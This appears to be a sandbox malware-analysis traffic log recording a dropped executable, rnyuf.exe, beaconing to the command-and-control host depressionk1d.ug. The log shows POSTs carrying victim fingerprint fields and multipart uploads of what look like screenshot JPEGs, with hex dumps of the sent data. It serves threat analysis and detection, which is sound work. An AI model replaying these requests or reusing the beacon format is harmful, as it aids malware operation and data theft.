Nov 12, 2021 22:23:32.464078903 CET	4384	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:32.464206934 CET	4389	OUT	Data Raw: 1d c8 50 67 31 ec 90 15 65 23 95 c0 3f 74 0e 46 7d eb 95 8f 52 bf 8a dd ed e3 bd b9 48 5d 76 bc 6b 2b 05 61 e8 46 70 45 74 47 0d 2b dd b2 25 88 8d ac 91 56 92 8a 2b b4 e4 14 51 45 14 c0 2b e9 3f 83 cc bf f0 85 6d c8 dc 26 04 8f 63 1a 7f 81 af 9b Data Ascii: Pg1e#?tF}RH]vk+aFpEtG+%V+QE+?m&c+oK>\Xr;+c*G:5)vRK[_f}+/5KHlb}(z9rZa{6>(Ucw5<OAK')uU+/ts`
Nov 12, 2021 22:23:32.487014055 CET	4400	OUT	Data Raw: 83 14 62 81 45 30 b8 53 85 36 94 1a 04 28 eb 4e 1d e9 b4 b4 d0 85 a2 8a 5a 64 8b 8a 4c 52 81 4a 06 29 d8 06 e2 8a 53 49 40 20 a2 92 8a 40 14 b4 52 1a 00 5a 51 40 a2 98 0b 4b 49 4a 29 88 5a 33 49 45 08 43 b3 40 eb 40 a3 35 40 3a 8a 6e 68 14 13 61 Data Ascii: bE0S6(NZdLRJ)SI@ @RZQ@KIJ)Z3IEC@@5@:nhaii(0RRZJZhLS@C:)BSiEQ,uQNuQ#<*1OH<RMU:uM~itj-f8dvjM3N8h<8isLlJ8Pi.h0Pib@iA
Nov 12, 2021 22:23:32.487097025 CET	4427	OUT	Data Raw: a4 20 a2 92 8a 00 70 3c 62 83 48 3a d2 9a 77 01 28 a5 e9 45 00 02 96 92 96 81 31 69 28 a2 98 87 0a 5a 41 4b 4c 1e e1 4b 8a 4a 5a 62 02 29 3b d2 d2 1a 00 05 38 50 28 a0 40 29 c2 9a 69 45 50 98 ea 28 a5 1d 69 88 51 4a 28 14 b4 d1 22 af a5 29 18 a4 Data Ascii: p<bH:w(E1i(ZAKLKJZb);8P(@)iEP(iQJ(")ykbDE XC8SH,()Bbu'Zx6\bLB)vRBQIR`$xQjRZh+Tbc\|LQVfKLRF(xN)Mpd=))H(
Nov 12, 2021 22:23:32.487154007 CET	4437	OUT	Data Raw: 57 73 75 c2 c0 80 0f c0 00 2b af ff 00 84 73 43 ff 00 a0 36 9d ff 00 80 a9 fe 14 db fb 2b 4b 0f 0e 6a 51 59 da c3 6f 19 b6 95 8a 43 18 40 4e c3 ce 07 7e 05 2c 66 61 4e bd 37 08 c6 cc ac 1e 5f 52 85 55 39 4a e8 f8 e6 97 bd 18 a0 0a 8b 1a 85 2d 14 Data Ascii: Wsu+sC6+KjQYoC@N~,faN7_RU9J-%#B^=F6Wo1+oL<R},[[`Jr</_;5]\ic7sKPZxKK$ps+5{{sw+n\|kL-c
Nov 12, 2021 22:23:32.487270117 CET	4441	OUT	Data Raw: d6 b4 ab c3 6a ca 2e 96 de 49 09 81 4b 6d 2e 49 40 1d 41 20 13 19 6e a0 f4 e6 9c 63 4d 3b a0 7c db 18 54 56 a5 e6 81 7b a7 ff 00 69 7d a8 c5 1f f6 7c eb 6e e4 b1 fd e3 b6 70 13 8e 72 a0 b6 78 18 1e e3 39 75 aa 92 7b 10 d3 5b 85 15 72 2d 3a 69 b4 Data Ascii: j.IKm.I@A ncM;\|TV{i}\|nprx9u{[r-:i{M^1E"w&yyekm7rLdSK9OCI-xSxcV[rsF{A+S.mKo-E82Fqvxx>{*[;5I,#
Nov 12, 2021 22:23:32.511140108 CET	4447	OUT	Data Raw: 85 cd 04 d3 73 49 9a 2e 3b 0e a3 34 ca 5a 43 b0 b9 a3 b5 25 14 00 a6 92 92 97 b5 20 0c d2 e6 9b 49 40 0f cd 14 dc d1 40 0b 45 25 14 00 ec d3 68 a2 80 0a 5a 4a 33 45 c0 29 69 39 a2 81 87 7a 5c d2 51 40 8a d4 51 45 62 6c 7a 8f c0 6f f9 1e 6f 7f ec Data Ascii: sI.;4ZC% I@@E%hZJ3E)i9z\Q@QEblzoo2*dUiS#k{`?dUEbs5IwzxO'XJc5\|Uea?U5/F\|i(E}-%-[Yu[Yb?GgGG
Nov 12, 2021 22:23:32.536317110 CET	4457	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:32 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.4	49833	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:32.557029963 CET	4457	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:32.583277941 CET	4458	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49786	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:07.866349936 CET	1156	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:07.866434097 CET	1156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:07.866624117 CET	1166	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:07.866744995 CET	1169	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:07.888674974 CET	1170	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:23:07 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:23:07.889095068 CET	1176	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:07.889967918 CET	1186	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:23:07.890017033 CET	1195	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:23:07.911935091 CET	1206	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:23:07.912420034 CET	1211	OUT	Data Raw: 24 f0 cc b2 e9 b1 5d c5 a9 69 f2 49 34 13 5c c1 6a 0c a2 59 a3 89 98 3b 2e 50 2f f0 31 c1 60 70 3a 76 aa e9 a1 dd 3e a7 05 80 96 df cd 9a c8 5f 29 dc 76 88 fc 93 36 0f 1d 76 8f a6 7b f7 ab 17 1e 23 58 b4 0d 2a d2 c2 da cc ea 31 d9 5c 41 35 d9 8e Data Ascii: $]iI4\jY;.P/1`p:v>_)v6v{#X1\A5A%iTuH@#4?AiDi@`v0wv{c5VIw4[?wWu<j)d2xpH#SxjKIYuO,Bw@dHjC}&_-r[+YE+9
Nov 12, 2021 22:23:07.912513018 CET	1222	OUT	Data Raw: 37 92 6e 14 6d 93 19 da ca c1 86 47 a6 54 57 95 86 9a 85 68 4a 5b 26 bf 33 aa ac 5b 83 4b b1 f2 86 68 07 34 bb 29 42 1a fb ab 1e 06 82 52 d1 b4 d2 ec 34 f5 10 94 52 ec 34 bb 0d 3b 05 cf b4 09 ac a7 3f e9 32 ff 00 be 7f 9d 69 93 59 2e 7f d2 65 ff Data Ascii: 7nmGTWhJ[&3[Kh4)BR4R4;?2iY.e\|:JC`1O:_UG_8P<otRc"z20S{Wzy(h/q3Gk*e(M8BM\MKqkGpEboAm=x:4wk,
Nov 12, 2021 22:23:07.912548065 CET	1227	OUT	Data Raw: 40 f9 fd d4 9e 8a 2b e6 80 6b d2 c0 fc 2c 75 3e 08 fc c5 3c 52 67 9a 42 79 a5 ae e3 01 c2 96 90 52 d3 10 51 9a 42 68 a2 e0 28 a5 ed 40 a2 98 80 f5 a7 af 4a 6d 2e 4d 34 26 3f 3c d1 4d 06 94 1c 9a 62 1d 47 4a 41 4b 4c 42 d0 29 05 2d 02 1c 29 45 36 Data Ascii: @+k,u><RgByRQBh(@Jm.M4&?<MbGJAKLB)-)E6%4P!iiE0Gd.ifXRx5H~iKM=(hCN(p4NUE-4t!4)D9S(D4hP4)<U"1NRLQK@

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.4	49834	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:32.713207006 CET	4459	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:32.739675045 CET	4459	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.4	49835	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:32.868107080 CET	4460	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:32.893281937 CET	4460	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.4	49836	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:33.280977011 CET	4461	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:33.311841011 CET	4500	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.4	49837	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:33.282834053 CET	4461	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:33.282988071 CET	4461	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:33.283126116 CET	4465	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:33.283174038 CET	4471	OUT	Data Raw: 9f f8 99 ff 00 24 3e c3 fd cb 3f fd 04 57 ce d8 af a5 7e 31 5a a5 87 c2 85 b3 88 b1 8e 09 6d e2 52 c7 92 17 81 9f 7e 2b e6 ba f1 60 d4 9b 6b b9 ee 34 e2 92 7d 84 c5 18 a5 a2 ac 42 62 ba 0f 0c ff 00 cb d7 fc 03 fa d6 05 6d f8 7a e2 18 0d c0 96 54 Data Ascii: $>?W~1ZmR~+`k4}BbmzTvn8Z7cDxAn5u!'Eye\|1K\o>Lz]WU-k~/6ectaqZ\|g$w/#d>Rc,-a["s(Y?sZv"d!B9Z
Nov 12, 2021 22:23:33.283303976 CET	4474	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:33.305610895 CET	4480	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:33.305664062 CET	4485	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:23:33.305695057 CET	4488	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:23:33.305716991 CET	4493	OUT	Data Raw: 55 6d 3a 39 6d 6d 34 c3 76 3c 3b 2c e8 f7 b1 c1 e5 f9 a2 f8 a6 f6 33 7c 99 db f2 e5 bb 71 5c 6d dd e5 c5 fd c9 b8 b9 31 6f 20 28 58 a1 48 91 40 ec 11 00 55 1f 41 4f 1a 96 a2 b6 e6 d9 6e b1 01 b5 36 65 3c b5 ff 00 52 64 f3 4a e7 19 fb fc e7 af 6c Data Ascii: Um:9mm4v<;,3\|q\m1o (XH@UAOn6e<RdJl$heJZ.'<-'aU[*S,07EWu.~PskKm\y$/4I(6%f\tw7Vr[bi#@xl z-$Ke8K.#$dT
